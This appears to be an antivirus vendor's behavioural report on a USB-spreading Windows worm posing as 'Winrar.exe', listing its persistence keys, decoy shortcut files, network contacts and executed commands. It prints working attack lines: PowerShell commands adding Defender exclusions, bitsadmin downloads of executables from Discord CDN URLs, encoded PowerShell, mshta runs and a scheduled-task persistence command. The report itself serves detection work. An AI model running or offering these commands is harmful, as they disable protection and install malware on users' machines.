Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Winrar' = '%APPDATA%\Winrar.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\winrar
- %APPDATA%\microsoft\windows\start menu\programs\startup\winrar.lnk
Creates the following files on removable media
- <Drive name for removable media>:\usb.exe
- <Drive name for removable media>:\advice_process.htm.lnk
- <Drive name for removable media>:\browse.htm.lnk
- <Drive name for removable media>:\about.htm.lnk
- <Drive name for removable media>:\alert.html.lnk
- <Drive name for removable media>:\browse.html.lnk
- <Drive name for removable media>:\api-hashmap.html.lnk
- <Drive name for removable media>:\howto-index.html.lnk
- <Drive name for removable media>:\1189.jpeg.lnk
- <Drive name for removable media>:\168.jpeg.lnk
- <Drive name for removable media>:\2.jpeg.lnk
- <Drive name for removable media>:\pushkin.jpeg.lnk
- <Drive name for removable media>:\4f0bf7ff71f28.jpeg.lnk
- <Drive name for removable media>:\trivial-merge.htm.lnk
- <Drive name for removable media>:\garden.htm.lnk
- <Drive name for removable media>:\2.jpg.lnk
- <Drive name for removable media>:\3.jpg.lnk
- <Drive name for removable media>:\168.jpg.lnk
- <Drive name for removable media>:\210252809.jpg.lnk
- <Drive name for removable media>:\firefly1.mov.lnk
- <Drive name for removable media>:\spanner.mov.lnk
- <Drive name for removable media>:\clip_480_5sec_6mbps_h264.mp4.lnk
- <Drive name for removable media>:\video.mp4.lnk
- <Drive name for removable media>:\10thingscondoms.pdf.lnk
- <Drive name for removable media>:\2015-02-worms-nanoparticle-toxicity.pdf.lnk
- <Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.pdf.lnk
- <Drive name for removable media>:\7790_preview.pdf.lnk
- <Drive name for removable media>:\fil_20060629111052.pdf.lnk
- <Drive name for removable media>:\region-north-karelia.jpg.lnk
- <Drive name for removable media>:\1189.jpg.lnk
- <Drive name for removable media>:\dotnetfx45_full_setup.exe.lnk
- <Drive name for removable media>:\utorrent.exe.lnk
- <Drive name for removable media>:\winmine.exe.lnk
- <Drive name for removable media>:\correct.avi.lnk
- <Drive name for removable media>:\join.avi.lnk
- <Drive name for removable media>:\dashborder_144.bmp.lnk
- <Drive name for removable media>:\dashborder_96.bmp.lnk
- <Drive name for removable media>:\toolbar.bmp.lnk
- <Drive name for removable media>:\tileimage.bmp.lnk
- <Drive name for removable media>:\dialmap.bmp.lnk
- <Drive name for removable media>:\dashborder_120.bmp.lnk
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer.lnk
- <Drive name for removable media>:\contosoroot.cer.lnk
- <Drive name for removable media>:\pmd.cer.lnk
- <Drive name for removable media>:\testcertificate.cer.lnk
- <Drive name for removable media>:\sdkfailsafeemulator.cer.lnk
- <Drive name for removable media>:\000814251_video_01.avi.lnk
- <Drive name for removable media>:\contoso.cer.lnk
- <Drive name for removable media>:\sdksampleprivdeveloper.cer.lnk
- <Drive name for removable media>:\testee.cer.lnk
- <Drive name for removable media>:\508softwareandos.doc.lnk
- <Drive name for removable media>:\ovp25012015.doc.lnk
- <Drive name for removable media>:\cveuropeo.doc.lnk
- <Drive name for removable media>:\february_catalogue__2015.doc.lnk
- <Drive name for removable media>:\weeklysheet1215.doc.lnk
- <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc.lnk
- <Drive name for removable media>:\file_p_00000000_1371597592.docx.lnk
- <Drive name for removable media>:\holycrosschurchinstructions.docx.lnk
- <Drive name for removable media>:\wrar520.exe.lnk
- <Drive name for removable media>:\jre-7u75-windows-i586-iftw.exe.lnk
- <Drive name for removable media>:\chromesetup.exe.lnk
- <Drive name for removable media>:\contosoroot_1.cer.lnk
- <Drive name for removable media>:\spib_pima.pdf.lnk
- <Drive name for removable media>:\bc01.pdf.lnk
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\Winrar.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Winrar.exe'
Modifies file system
Creates the following files
- %LOCALAPPDATA%\dependencys.hta
- %LOCALAPPDATA%\resources.hta
- %APPDATA%\winrar.exe
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\usb.exe
Deletes the following files
- %APPDATA%\winrar.exe
Network activity
Connects to
- 'cd#.##scordapp.com':443
- 'ip##pi.com':80
- 'ap#.##legram.org':443
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
Other
- 'cd#.##scordapp.com':443
- 'ap#.##legram.org':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '%APPDATA%\winrar.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGQAaQB2ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAdwBzACMAPgBbAFMAeQBzAHQAZQBtAC4A...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHIAdABzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAeABkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 https://cdn.discordapp.com/attachments/1143780957896318986/1158836165336633495/WindowsDefend.exe?ex=651db1c7&is=651c6047&hm=ec3fda2daf51f3d741c6a14a99e8dd76044fc8880083d5dcb5a6d16c2...' (with hidden window)
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 https://cdn.discordapp.com/attachments/1147844838503497779/1158839625356423239/Built.exe?ex=651db500&is=651c6380&hm=879e23d5814a381c7148fe8ed967fade21b10d0ae6aafefcbeeb6d72e76b0fbf&...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\Winrar.exe'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Winrar.exe'' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /f /RL HIGHEST /sc minute /mo 1 /tn "Winrar" /tr "%APPDATA%\Winrar.exe"' (with hidden window)
- '%APPDATA%\winrar.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGQAaQB2ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAdwBzACMAPgBbAFMAeQBzAHQAZQBtAC4A...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHIAdABzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAeABkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '%WINDIR%\syswow64\mshta.exe' "%LOCALAPPDATA%\Dependencys.hta"
- '%WINDIR%\syswow64\mshta.exe' "%LOCALAPPDATA%\Resources.hta"
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 https://cdn.discordapp.com/attachments/1143780957896318986/1158836165336633495/WindowsDefend.exe?ex=651db1c7&is=651c6047&hm=ec3fda2daf51f3d741c6a14a99e8dd76044fc8880083d5dcb5a6d16c2...
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 https://cdn.discordapp.com/attachments/1147844838503497779/1158839625356423239/Built.exe?ex=651db500&is=651c6380&hm=879e23d5814a381c7148fe8ed967fade21b10d0ae6aafefcbeeb6d72e76b0fbf&...
- '<SYSTEM32>\schtasks.exe' /create /f /RL HIGHEST /sc minute /mo 1 /tn "Winrar" /tr "%APPDATA%\Winrar.exe"
- '<SYSTEM32>\taskeng.exe' {C8B9322C-A2B9-44CD-A945-40AE73F8450A} S-1-5-21-3150914307-1777937420-491476919-1000:svfjpz\user:Interactive:[1]
